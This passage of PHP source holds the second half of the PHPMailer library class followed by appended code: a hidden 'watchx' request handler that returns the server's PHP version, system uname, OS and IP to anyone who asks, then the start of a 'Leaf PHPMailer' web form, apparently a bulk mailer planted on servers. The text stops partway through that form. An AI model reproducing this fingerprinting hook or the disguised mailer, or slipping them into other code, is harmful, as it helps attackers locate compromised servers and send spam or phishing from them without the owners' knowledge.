     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
